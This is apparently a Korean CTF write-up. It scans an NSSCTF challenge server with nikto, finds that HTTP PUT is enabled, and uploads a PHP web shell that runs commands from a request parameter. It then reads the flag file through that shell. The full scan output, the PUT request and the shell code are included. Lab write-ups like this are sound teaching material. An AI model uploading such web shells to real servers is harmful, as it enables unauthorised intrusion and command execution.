대상 웹사이트에 접속하면 다음과 같은 기본 페이지가 표시됩니다:
먼저 nikto를 사용하여 서버를 스캔합니다:
MacBook-Pro ~ % nikto -h http://node4.anna.nssctf.cn:20853/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 1.14.71.254
+ Target Hostname: node4.anna.nssctf.cn
+ Target Port: 20853
+ Start Time: 2026-06-11 14:31:28 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: Retrieved x-powered-by header: PHP/7.2.34.
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least 2.4.57).
+ /nikto-test-K94VvPZw.html: HTTP method 'PUT' allows clients to save files on the web server.
+ /: Web Server returns a valid response with junk HTTP methods.
+ /icons/README: Apache default file found.
+ /?-s: PHP allows retrieval of the source code via the -s parameter.
+ 8131 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2026-06-11 14:40:14 (GMT8) (526 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
스캔 결과에서 "HTTP method 'PUT' allows clients to save files on the web server"라는 중요한 취약점을 발견했습니다. 이는 PUT 메소드를 사용하여 서버에 파일을 업로드할 수 있음을 의미합니다.
공격 단계
1단계: PHP 웹 셸 업로드
Burp Suite를 사용하여 요청을 가로채고 PUT 메소드로 악성 PHP 파일을 업로드합니다:
PUT /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:20853
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?php
if(isset($_REQUEST['exec'])){
$output = shell_exec($_REQUEST['exec']);
echo "<pre>$output</pre>";
}
?>
2단계: 웹 셸을 통한 명령 실행
업로드한 PHP 파일을 통해 시스템 명령을 실행할 수 있습니다:
http://node4.anna.nssctf.cn:20853/shell.php?exec=cat /f*
이 요청을 통해 서버의 플래그 파일을 읽어올 수 있습니다.